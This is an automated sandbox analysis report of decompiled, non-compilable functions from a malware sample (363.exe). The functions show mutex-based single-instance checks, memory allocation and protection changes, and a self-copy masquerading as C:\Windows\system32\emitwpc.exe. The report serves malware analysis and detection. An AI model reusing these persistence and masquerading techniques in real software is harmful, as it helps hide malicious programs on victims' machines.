Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: File$CloseHandleView$ComputeCrc32SizeUnmap
String ID:
API String ID: 741204879-0
Opcode ID: ecc29bd9765c883d3b9d914bd431ddbfd872512daf4b97c23b8c816a3be7e8b7
Instruction ID: 3e111cd0b8335fb7e60f8e8034d069fbf8264ad528e8b8e618d9597a8c35d0a1
Opcode Fuzzy Hash: ecc29bd9765c883d3b9d914bd431ddbfd872512daf4b97c23b8c816a3be7e8b7
Instruction Fuzzy Hash: A5E0BF75280611BBD7011BA5BDADBD97A68EF69202F008015F60191151CF644B09EB25

Uniqueness

Uniqueness Score: 0.01%

Function 0050103C, Relevance: 7.5, APIs: 5, Instructions: 46
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E0050103C(void* __esi, void* __eflags, void* __fp0) {
				void* _t29;
				void* _t37;
				long _t51;
				void* _t61;
				void* _t62;
				int _t73;
				void* _t75;
				void* _t76;
				void* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t86;

				_t75 = __esi;
				 *(_t82 - 4) = 0;
				 *((intOrPtr*)(_t82 - 8)) = GetCurrentProcessId();
				_t73 = 0; // executed
				L00501C00(E00501000, _t82 - 4); // executed
				_t4 = _t73 + 0x14; // 0x14
				_t72 = _t4;
				_t76 = L00501D10(0x510000, _t4, 0, _t75);
				 *0x513344(_t82 - 0x118, 0x40, _t76,  *(_t82 - 4), 0x64da9f26);
				_t86 = _t84 + 0x14;
				_t66 = _t76;
				L00501DB0(_t76);
				_t29 = CreateMutexW(0, 1, _t82 - 0x118); // executed
				_t61 = _t29;
				if(_t61 == 0) {
					L6:
					goto 0x520045;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t77 = L00501D10(_t66, _t72, _t73, _t76);
					 *0x513344(_t82 - 0x118, 0x40, _t77,  *((intOrPtr*)(_t82 - 8)));
					_t67 = _t77;
					L00501DB0(_t77);
					_t62 = CreateMutexW(0, 1, _t82 - 0x118);
					if(_t62 != 0) {
						goto 0x520062;
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t37 = L00501D10(_t67, _t72, _t73, _t77);
						 *0x513344(_t82 - 0x98, 0x40, _t37,  *((intOrPtr*)(_t82 - 8)));
						L00501DB0(_t37);
						_t80 = CreateEventW(0, 1, 0, _t82 - 0x98);
						if(_t80 != 0) {
							goto 0x52007f;
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							GetModuleFileNameW();
							_push(_t82 - 0x18);
							_push(0x80);
							if(L00502020(_t80) != 0) {
								WaitForSingleObject(_t80, 0xffffffff);
								CloseHandle( *(_t82 - 0x18));
								CloseHandle( *(_t82 - 0x14));
							}
							CloseHandle(_t80);
						}
						CloseHandle(_t62);
					}
				} else {
					_t51 = GetLastError();
					if(_t51 == 0xb7) {
						_t72 = _t51 + 0x1d;
						_t81 = L00501D10(0x510020, _t51 + 0x1d, 0, _t76);
						 *0x513344(_t82 - 0x98, 0x40, _t81,  *(_t82 - 4));
						_t86 = _t86 + 0x14;
						_t66 = _t81;
						L00501DB0(_t81);
						_t76 = CreateEventW(0, 1, 0, _t82 - 0x98);
						if(_t76 != 0) {
							SetEvent(_t76);
							CloseHandle(_t76);
							_t73 = 1;
						}
					}
					CloseHandle(_t61);
					if(_t73 == 0) {
						goto L6;
					}
				}
				return _t73;
			}

0x0050103c
0x0050103c
0x0050104c
0x00501054
0x00501056
0x00501060
0x00501060
0x00501070
0x0050107f
0x00501085
0x00501088
0x0050108a
0x00501099
0x0050109f
0x005010a3
0x0050111f
0x0050111f
0x00501124
0x00501125
0x00501126
0x00501127
0x00501128
0x00501129
0x0050112a
0x0050112b
0x00501136
0x00501145
0x0050114e
0x00501150
0x00501166
0x0050116a
0x00501170
0x00501175
0x00501176
0x00501177
0x00501178
0x00501179
0x0050117a
0x0050117b
0x0050117c
0x0050117f
0x00501196
0x005011a1
0x005011b9
0x005011bd
0x005011bf
0x005011c4
0x005011c5
0x005011c6
0x005011c7
0x005011c8
0x005011c9
0x005011ca
0x005011cb
0x005011cc
0x005011cd
0x005011d6
0x005011d7
0x005011ec
0x005011f1
0x005011fa
0x00501203
0x00501203
0x0050120a
0x0050120a
0x00501211
0x00501211
0x005010a5
0x005010a5
0x005010b0
0x005010b7
0x005010c7
0x005010d6
0x005010dc
0x005010df
0x005010e1
0x005010f7
0x005010fb
0x005010fe
0x00501105
0x0050110b
0x0050110b
0x005010fb
0x00501111
0x00501119
0x00000000
0x00000000
0x00501119
0x0050121f

APIs

GetCurrentProcessId.KERNEL32 ref: 00501043
_snwprintf.NTDLL ref: 0050107F
CreateMutexW.KERNELBASE(00000000,00000001,?), ref: 00501099
GetLastError.KERNEL32 ref: 005010A5
CloseHandle.KERNEL32(00000000), ref: 00501111

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CloseCreateCurrentErrorHandleLastMutexProcess_snwprintf
String ID:
API String ID: 670123879-0
Opcode ID: 8648ca5b2935b1855fb96aa1a32b4a285a681cf6566e3b45707e0f5fdc56dd62
Instruction ID: 7b937bc1935b0508b91d9ba7a82a21ebf34b4bc058e19b233ee83eca6f072b79
Opcode Fuzzy Hash: 8648ca5b2935b1855fb96aa1a32b4a285a681cf6566e3b45707e0f5fdc56dd62
Instruction Fuzzy Hash: 2501F735A00505A7DB51EBA0AC8D7EDBFB5FB94341F1044A5F609A21C1DF304F489B97

Uniqueness

Uniqueness Score: 0.01%

Function 0050C620, Relevance: 7.5, APIs: 5, Instructions: 37
synchronizationCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0050C620(void* __eflags) {
				void* __esi;
				void* _t1;
				long _t3;
				void* _t4;
				long _t8;
				void* _t10;
				void* _t11;
				void* _t12;
				int _t13;
				void* _t22;

				_t13 = 0; // executed
				_t1 = L0050C500(_t10, _t11, _t12, 0, __eflags, _t22); // executed
				if(_t1 == 0) {
					L9:
					return _t13;
				}
				_t3 = WaitForSingleObject( *0x51308c, 0); // executed
				if(_t3 == 0) {
					L3:
					_t4 = L0050C560(_t10, _t11, _t12, _t13, _t17, _t22); // executed
					_t18 = _t4;
					if(_t4 != 0) {
						if(L0050C5C0(_t10, _t11, _t12, _t13, _t18, _t22) != 0) {
							_t8 = SignalObjectAndWait( *0x512d58,  *0x512d54, 0xffffffff, 0);
							if(_t8 == 0 || _t8 == 0x80) {
								_t13 = ResetEvent( *0x512d58);
							}
						}
						ReleaseMutex( *0x51308c);
						CloseHandle( *0x51308c);
					}
					goto L9;
				}
				_t17 = _t3 - 0x80;
				if(_t3 != 0x80) {
					goto L9;
				}
				goto L3;
			}

0x0050c621
0x0050c623
0x0050c62a
0x0050c69d
0x0050c6a0
0x0050c6a0
0x0050c633
0x0050c63b
0x0050c644
0x0050c644
0x0050c649
0x0050c64b
0x0050c654
0x0050c666
0x0050c66e
0x0050c683
0x0050c683
0x0050c66e
0x0050c68b
0x0050c697
0x0050c697
0x00000000
0x0050c64b
0x0050c63d
0x0050c642
0x00000000
0x00000000
0x00000000

APIs

WaitForSingleObject.KERNEL32(00000000), ref: 0050C633
SignalObjectAndWait.KERNEL32(000000FF,00000000), ref: 0050C666
ResetEvent.KERNEL32 ref: 0050C67D
ReleaseMutex.KERNEL32 ref: 0050C68B
CloseHandle.KERNEL32 ref: 0050C697

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: ObjectWait$CloseEventHandleMutexReleaseResetSignalSingle
String ID:
API String ID: 3756552044-0
Opcode ID: 03aa70d7b7c6fcd80803a1c33c8890e0405a1bd622974cf62c6a655684887b14
Instruction ID: aeed283220ef274bf0b0b4d67d2bb0728eea196d38795597cd9f3bd38f3299e8
Opcode Fuzzy Hash: 03aa70d7b7c6fcd80803a1c33c8890e0405a1bd622974cf62c6a655684887b14
Instruction Fuzzy Hash: E4F04934200111ABDF312B39FC1CB9D7E64FB66360F109364E801D50F0EB22C919EA60

Uniqueness

Uniqueness Score: 0.01%

Function 0050CB13, Relevance: 7.5, APIs: 5, Instructions: 18
windowsynchronizationCOMMON

Control-flow Graph

Executed
Not Executed

APIs

TranslateMessage.USER32(?), ref: 0050CAE4
DispatchMessageW.USER32(?), ref: 0050CAEE
WaitForSingleObject.KERNEL32(00000000), ref: 0050CAFC
GetMessageW.USER32 ref: 0050CB13
DestroyWindow.USER32 ref: 0050CB1E

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Message$DestroyDispatchObjectSingleTranslateWaitWindow
String ID:
API String ID: 710846951-0
Opcode ID: 0e4683533f2ebf1dfef1ec4dac3a4125f231c5d494e682fd09a83a0f7359eabf
Instruction ID: fde329f9a2907993208c48f1ecd83fd8b2b9b9e4a37fa39cb7dd30c70f405085
Opcode Fuzzy Hash: 0e4683533f2ebf1dfef1ec4dac3a4125f231c5d494e682fd09a83a0f7359eabf
Instruction Fuzzy Hash: 65E0EC71A005499BDB105FB0EC8DBDE3F79BF26301F549415F112D20A0D774988ABF14

Uniqueness

Uniqueness Score: 0.03%

Function 004E290C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192
memoryCOMMON

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004E274F: VirtualAlloc.KERNELBASE ref: 004E27C2

VirtualProtect.KERNELBASE ref: 004E2A96
VirtualProtect.KERNELBASE ref: 004E2B98

Strings

x, xrefs: 004E2AD7

Memory Dump Source

Source File: 0000000B.00000002.1434045425.004E0000.00000040.sdmp, Offset: 004E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e0000_363.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID: x
API String ID: 2541858876-2363233923
Opcode ID: 4e7384e998614d5435aeead5731c84f9a0188742e3f912c084f458f8b62c5774
Instruction ID: 6b130eb6b45c4a063c0ec9ce97428d19d667f06d90a4c02504021103d36ecf19
Opcode Fuzzy Hash: 4e7384e998614d5435aeead5731c84f9a0188742e3f912c084f458f8b62c5774
Instruction Fuzzy Hash: A691A2B4E002188FDB14CF99C98069DFBF1FF88304F1581AAD958AB356D774A986CF85

Uniqueness

Uniqueness Score: 0.02%

Function 0050D92A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E0050D92A(DWORD* __eax, void* __ebx, char* __esi, void* __fp0) {
				int _t14;
				void* _t15;
				intOrPtr _t19;
				char* _t20;
				int _t23;
				char _t25;
				void* _t32;
				void* _t38;
				void* _t40;

				_t35 = __esi;
				 *(_t38 - 4) = 0x10;
				_t14 = GetComputerNameW(_t38 - 0x34, __eax); // executed
				if(_t14 == 0) {
					L13:
					 *(_t38 - 0x14) = 0x58;
					L14:
					goto 0x521bff;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t15 = L00501C80(_t30, 0x14c, _t35);
					 *0x513350("436432_3C4E0000", 0x104, _t15, _t38 - 0x14,  *0x5133ac);
					return L00501DB0(_t15);
				}
				_t32 = _t38 - 0x34;
				_t19 = E005013A0(_t32);
				_push(_t32);
				 *0x513308 = _t19;
				_t20 = L00501C80(0x511c00, 0x14c, __esi);
				_t40 = _t40 + 4;
				_t35 = _t20;
				_t23 = WideCharToMultiByte(0, 0x400, _t38 - 0x34, 0xffffffff, _t38 - 0x14, 0x10, _t35, 0);
				_t30 = _t35;
				L00501DB0(_t35);
				if((0 | _t23 > 0x00000000) == 0) {
					goto L13;
				}
				_t30 = _t38 - 0x14;
				if( *(_t38 - 0x14) == 0) {
					goto L14;
				}
				do {
					_t25 =  *_t30;
					if(_t25 < 0x30 || _t25 > 0x39) {
						if(_t25 < 0x61 || _t25 > 0x7a) {
							if(_t25 < 0x41 || _t25 > 0x5a) {
								 *_t30 = 0x58;
							}
						}
					}
					_t30 =  &(_t30[1]);
				} while ( *_t30 != 0);
				goto L14;
			}

0x0050d92a
0x0050d92a
0x0050d936
0x0050d93e
0x0050d9c5
0x0050d9c5
0x0050d9cb
0x0050d9cb
0x0050d9d0
0x0050d9d1
0x0050d9d2
0x0050d9d3
0x0050d9d6
0x0050d9f2
0x0050da06
0x0050da06
0x0050d945
0x0050d948
0x0050d94d
0x0050d953
0x0050d95d
0x0050d962
0x0050d965
0x0050d97d
0x0050d985
0x0050d98c
0x0050d994
0x00000000
0x00000000
0x0050d99a
0x0050d99d
0x00000000
0x00000000
0x0050d9a0
0x0050d9a0
0x0050d9a4
0x0050d9ac
0x0050d9b4
0x0050d9ba
0x0050d9ba
0x0050d9b4
0x0050d9ac
0x0050d9bd
0x0050d9be
0x00000000

APIs

GetComputerNameW.KERNEL32(?), ref: 0050D936
WideCharToMultiByte.KERNEL32(00000000,00000400,?,000000FF,?,00000010,00000000,00000000), ref: 0050D97D

Strings

X, xrefs: 0050D9C5

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: ByteCharComputerMultiNameWide
String ID: X
API String ID: 4013585866-3081909835
Opcode ID: 9a53a01486a4854dca1695dea4cac7f656961b3e54e136f4f890bfbf3e4994ab
Instruction ID: f17304a8375a5618d6b7c61a810d3a0b2d3f2709958fe5ef2954e45d9c6fcb82
Opcode Fuzzy Hash: 9a53a01486a4854dca1695dea4cac7f656961b3e54e136f4f890bfbf3e4994ab
Instruction Fuzzy Hash: 2811557294110A6AEB2097E8DE89BEE3FB9BF02340F200815E141E10D1DB648E4AC33B

Uniqueness

Uniqueness Score: 0.01%

Function 0050DBA0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
UNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0050DBA0(signed int __fp0) {
				int _t6;
				WCHAR* _t15;
				void* _t17;

				_t22 = __fp0;
				GetTempPathW(??, ??);
				_t6 = GetTempFileNameW(_t17 - 0x208, _t15, _t15, _t17 - 0x208);
				_t14 = _t17 - 0x208;
				if(L005012B0(_t6, 0x514ff0, _t17 - 0x208) != 0) {
					goto 0x521ce7;
					asm("int3");
					asm("int3");
					asm("int3");
					_t22 = __fp0 * st0;
					_t15 = L005012B0(_t7, 0x514ff0, _t14);
					if(_t15 == 0) {
						L005012B0(_t10, _t17 - 0x208, _t14); // executed
					}
				}
				L00501310(_t22); // executed
				return _t15;
			}

0x0050dba0
0x0050dba0
0x0050dbb0
0x0050dbb6
0x0050dbc8
0x0050dbca
0x0050dbcf
0x0050dbd0
0x0050dbd1
0x0050dbd2
0x0050dbd9
0x0050dbdd
0x0050dbea
0x0050dbea
0x0050dbdd
0x0050dbef
0x0050dbfa

APIs

GetTempPathW.KERNEL32 ref: 0050DBA0
GetTempFileNameW.KERNEL32(?,?,?,?), ref: 0050DBB0

Strings

C:\Windows\system32\emitwpc.exe, xrefs: 0050DBBC

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: C:\Windows\system32\emitwpc.exe
API String ID: 3285503233-3732819862
Opcode ID: e68830c390f79b4473587950a188d7cb8f0260c02073bde2985de2b59ecac0a6
Instruction ID: 123c4b59e3f60b43cf724797142fd87d1ddc73696418a964ce6fa983f96bc5ed
Opcode Fuzzy Hash: e68830c390f79b4473587950a188d7cb8f0260c02073bde2985de2b59ecac0a6
Instruction Fuzzy Hash: 6CD05B7554422E5BDB2057D5AC0C5FF7F7CFF55351B004691B909C3251DD208984CBE5

Uniqueness

Uniqueness Score: 100.00%

Function 00501329, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18
fileUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00501329(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				int _t8;
				void* _t16;

				_t14 = L00501D10(__ecx, __edx, __edi, __esi);
				 *0x513344(_t16 - 0x208, 0x104, _t3, "C:\Windows\system32\emitwpc.exe");
				L00501DB0(_t14);
				_t8 = DeleteFileW(_t16 - 0x208); // executed
				return _t8;
			}

0x0050132e
0x00501342
0x0050134d
0x00501359
0x00501363

APIs

_snwprintf.NTDLL ref: 00501342
DeleteFileW.KERNELBASE(?), ref: 00501359

Strings

C:\Windows\system32\emitwpc.exe, xrefs: 00501336

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: DeleteFile_snwprintf
String ID: C:\Windows\system32\emitwpc.exe
API String ID: 366827715-3732819862
Opcode ID: 99edf7936d8e9d9f83fec1429e30befe1e9dc95604f3f2831f730527de72e927
Instruction ID: 07ad19e6e0fcc3d58547cdcdf6fcf3672f4b5b08b7e87dfda2bc779bb460fd2d
Opcode Fuzzy Hash: 99edf7936d8e9d9f83fec1429e30befe1e9dc95604f3f2831f730527de72e927
Instruction Fuzzy Hash: BCD05BB794012457CB10B7645C4D9CF7B6CAB44754F0006D5F51993152DE744A948BD5

Uniqueness

Uniqueness Score: 100.00%

Function 004E2403, Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 34
stringCOMMON

Control-flow Graph

Executed
Not Executed

APIs

lstrcmp.KERNEL32 ref: 004E2450

Strings

FBREY, xrefs: 004E2403, 004E2441
ABFTvUipMWyGCrCKo, xrefs: 004E2409, 004E243A

Memory Dump Source

Source File: 0000000B.00000002.1434045425.004E0000.00000040.sdmp, Offset: 004E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e0000_363.jbxd

Similarity

API ID: lstrcmp
String ID: ABFTvUipMWyGCrCKo$FBREY
API String ID: 1534048567-490764154
Opcode ID: 87ae62fe00eb22f0669fad51a21d370ac1757f676b5411d8ae65a38cd0605ef5
Instruction ID: d847600933fd8bb1daf9c7e47e179e6e24dd619b27e1c2ff0a338d0af1c2993c
Opcode Fuzzy Hash: 87ae62fe00eb22f0669fad51a21d370ac1757f676b5411d8ae65a38cd0605ef5
Instruction Fuzzy Hash: F4013175E102598BCB00CF99EC84189FBF5FB98319B658137D804AB316D774A982CB95

Uniqueness

Uniqueness Score: 5.06%

Function 0050DE40, Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 25
stringUNIQUE

C-Code - Quality: 90%

			E0050DE40(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* __ecx;
				intOrPtr _t1;
				void* _t6;
				int _t9;
				void* _t15;
				void* _t16;
				void* _t22;

				_t22 = __eflags;
				_t19 = __esi;
				_t18 = __edi;
				_t17 = __edx;
				_t15 = __ebx;
				_t1 =  *0x512d5c; // 0x3c4e0000
				 *0x5133ac = _t1;
				L0050D560();
				L0050D530(__fp0);
				L0050D680(_t16, __edx, __esi, __fp0);
				E0050D6B0(_t17, __edi, __esi, __fp0);
				_t6 = L0050D890(__fp0); // executed
				L0050D920(_t6, _t15, _t19, __fp0); // executed
				L0050D720(_t16, _t17, _t18, _t19, _t22, __fp0); // executed
				_t9 = lstrcmpiW("C:\Users\Public\363.exe", "C:\Windows\system32\emitwpc.exe");
				if(_t9 != 0) {
					L0050DB60(__fp0); // executed
					__eflags =  *0x51330c;
					if( *0x51330c == 0) {
						goto 0x521e29;
						asm("int3");
						asm("int3");
						L00502020(_t19);
						return 1;
					} else {
						L0050DC80(_t16, _t17, _t19, __fp0); // executed
						return 1;
					}
				} else {
					return _t9; // executed
				}
			}

0x0050de40
0x0050de40
0x0050de40
0x0050de40
0x0050de40
0x0050de41
0x0050de46
0x0050de4b
0x0050de50
0x0050de55
0x0050de5a
0x0050de5f
0x0050de64
0x0050de69
0x0050de78
0x0050de80
0x0050de84
0x0050de89
0x0050de90
0x0050de9e
0x0050dea3
0x0050dea4
0x0050dea7
0x0050deb5
0x0050de92
0x0050de92
0x0050de9d
0x0050de9d
0x0050de83
0x0050de83
0x0050de83

APIs

lstrcmpiW.KERNEL32(C:\Users\Public\363.exe,C:\Windows\system32\emitwpc.exe,?,0050C857), ref: 0050DE78

Strings

C:\Users\Public\363.exe, xrefs: 0050DE73
C:\Windows\system32\emitwpc.exe, xrefs: 0050DE6E

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: lstrcmpi
String ID: C:\Users\Public\363.exe$C:\Windows\system32\emitwpc.exe
API String ID: 1586166983-2374684344
Opcode ID: e4063e6e0b146329afffb2d6d41925643143bb87ef39448a03d15186311273c0
Instruction ID: 345136d9ae3a186655e74efc84b4e999aaa03247a3533ba1f1d7b646950d644c
Opcode Fuzzy Hash: e4063e6e0b146329afffb2d6d41925643143bb87ef39448a03d15186311273c0
Instruction Fuzzy Hash: 0EE01A701012035ADB207BF5A81E79E3E74BFA4305F108815F405862D2DE758489EA36

Uniqueness

Uniqueness Score: 100.00%

Function 004E274F, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 141memoryCOMMON

APIs

VirtualAlloc.KERNELBASE ref: 004E27C2

Strings

@, xrefs: 004E27AB

Memory Dump Source

Source File: 0000000B.00000002.1434045425.004E0000.00000040.sdmp, Offset: 004E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e0000_363.jbxd

Similarity

API ID: AllocVirtual
String ID: @
API String ID: 4275171209-2766056989
Opcode ID: 148914a04cdcfdc8ddf23b8f2edf0a2f62dbc5ae62c0a8aa59afffd75425cf80
Instruction ID: c8c8b7357c2e4a95d2d77277962469810e450813b78cc4867c6ca4d5f83d0cf3
Opcode Fuzzy Hash: 148914a04cdcfdc8ddf23b8f2edf0a2f62dbc5ae62c0a8aa59afffd75425cf80
Instruction Fuzzy Hash: 4351E6B1E042598FCB04CFADD98069DFBF5BF88324F15822EE459AB391D7749941CB84

Uniqueness

Uniqueness Score: 0.34%

Function 0050C579, Relevance: 3.0, APIs: 2, Instructions: 25
synchronizationCOMMON

C-Code - Quality: 68%

			E0050C579(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t10;
				void* _t21;

				_t5 = L00501D10(__ecx, __edx, __edi, __esi);
				 *0x513344(_t21 - 0x80, 0x40, _t5,  *0x512d5c);
				L00501DB0(_t5);
				_t10 = CreateMutexW(0, 0, _t21 - 0x80); // executed
				 *0x512d54 = _t10;
				return 0 | _t10 != 0x00000000;
			}

0x0050c579
0x0050c58d
0x0050c598
0x0050c5a5
0x0050c5ad
0x0050c5bd

APIs

_snwprintf.NTDLL ref: 0050C58D
CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 0050C5A5

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CreateMutex_snwprintf
String ID:
API String ID: 451050361-0
Opcode ID: c0e6c2a4c08aa110b9c9cb99c2899e9ac4b401fdb5c44b1228ed2af502debddf
Instruction ID: e771399392ad6b90609be49f4effb1fb7412ffda2ba199520018837613fab5b1
Opcode Fuzzy Hash: c0e6c2a4c08aa110b9c9cb99c2899e9ac4b401fdb5c44b1228ed2af502debddf
Instruction Fuzzy Hash: 27E0207270011557DB009BA8FC49BDE7BB8EB04300F04412EF909E61D0DF708928975D

Uniqueness

Uniqueness Score: 0.01%

Function 0050C519, Relevance: 3.0, APIs: 2, Instructions: 25
synchronizationCOMMON

C-Code - Quality: 68%

			E0050C519(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t10;
				void* _t21;

				_t5 = L00501D10(__ecx, __edx, __edi, __esi);
				 *0x513344(_t21 - 0x80, 0x40, _t5,  *0x512d5c);
				L00501DB0(_t5);
				_t10 = CreateMutexW(0, 0, _t21 - 0x80); // executed
				 *0x51308c = _t10;
				return 0 | _t10 != 0x00000000;
			}

0x0050c519
0x0050c52d
0x0050c538
0x0050c545
0x0050c54d
0x0050c55d

APIs

_snwprintf.NTDLL ref: 0050C52D
CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 0050C545

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CreateMutex_snwprintf
String ID:
API String ID: 451050361-0
Opcode ID: 539636bb45272908e8cc8ea7d318f33d4b6ff1bc00491c5897e598e4daa9e817
Instruction ID: f984f53df3bae677338142514343f9c68dc2525b2b7425e36f0ebf2b360000b3
Opcode Fuzzy Hash: 539636bb45272908e8cc8ea7d318f33d4b6ff1bc00491c5897e598e4daa9e817
Instruction Fuzzy Hash: 21E0207260011557DF0097A8BC59BDE7BB8EB08300F04416EF909E71D0DE30C9149B5D

Uniqueness

Uniqueness Score: 0.01%

Function 005012BD, Relevance: 3.0, APIs: 2, Instructions: 22
COMMON

C-Code - Quality: 45%

			E005012BD(void* __eax, intOrPtr __ecx, intOrPtr __edx) {
				int _t11;
				intOrPtr _t14;
				intOrPtr _t16;
				void* _t18;

				_t14 = __edx;
				_t16 = __ecx;
				memset(__eax, 0, ??);
				 *((intOrPtr*)(_t18 - 0x1c)) = 1;
				 *((intOrPtr*)(_t18 - 0x18)) = _t16;
				 *((short*)(_t18 - 0x10)) = 0xe14;
				 *((intOrPtr*)(_t18 - 0x14)) = _t14;
				_t11 = SHFileOperationW(_t18 - 0x20); // executed
				if(_t11 != 0 ||  *((intOrPtr*)(_t18 - 0xe)) != _t11) {
					goto 0x52013a;
					return _t11;
				} else {
					goto 0x520124;
					asm("int3");
					asm("int3");
					asm("int3");
					return _t11;
				}
			}

0x005012bd
0x005012c2
0x005012c4
0x005012cd
0x005012d9
0x005012dc
0x005012e3
0x005012e7
0x005012f1
0x00501301
0x00501306
0x005012f8
0x005012f8
0x005012fd
0x005012fe
0x005012ff
0x00501300
0x00501300

APIs

memset.NTDLL ref: 005012C4
SHFileOperationW.SHELL32(?), ref: 005012E7

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: FileOperationmemset
String ID:
API String ID: 1721435463-0
Opcode ID: 77b6adf7b4bdf66db96eb501d720eb9cefed828687a3288a9f38dbe3e99c1121
Instruction ID: 76d647491ee78f86694db4ce08629fd99a9a8d663bf090a7134a437d2436f6c6
Opcode Fuzzy Hash: 77b6adf7b4bdf66db96eb501d720eb9cefed828687a3288a9f38dbe3e99c1121
Instruction Fuzzy Hash: C7E01A70D00269DBDF109BA5D9046EE7FB4FF84705F144827E401A6280E7758A15CB96

Uniqueness

Uniqueness Score: 0.04%

Function 0050D864, Relevance: 3.0, APIs: 2, Instructions: 11
